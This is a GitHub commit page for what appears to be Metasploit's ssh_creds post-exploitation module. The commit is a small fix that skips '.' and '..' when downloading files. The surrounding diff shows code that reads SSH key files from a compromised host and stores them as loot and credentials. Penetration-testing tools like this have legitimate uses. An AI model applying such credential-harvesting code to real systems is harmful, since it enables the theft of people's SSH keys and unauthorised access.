Skip to content

Commit

Permalink
Don't try to download '.' or '..' as files
Browse files Browse the repository at this point in the history
  • Loading branch information
egypt committed Feb 8, 2013
1 parent 0ad548a commit e3ee0d7
Showing 1 changed file with 2 additions and 1 deletion.
3 changes: 2 additions & 1 deletion modules/post/multi/gather/ssh_creds.rb
Original file line number Diff line number Diff line change
Expand Up @@ -61,11 +61,12 @@ def download_loot(paths)
end

files.each do |file|
print_good("Downloading #{path}#{sep}#{file} -> #{file}")
next if [".", ".."].include?(file)
data = read_file("#{path}#{sep}#{file}")
file = file.split(sep).last
loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
"ssh_#{file}", "OpenSSH #{file} File")
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")

# If the key is encrypted, this will fail and it won't be stored as a
# cred. That's ok because we can't really use encrypted keys anyway.
Expand Down

0 comments on commit e3ee0d7

Please sign in to comment.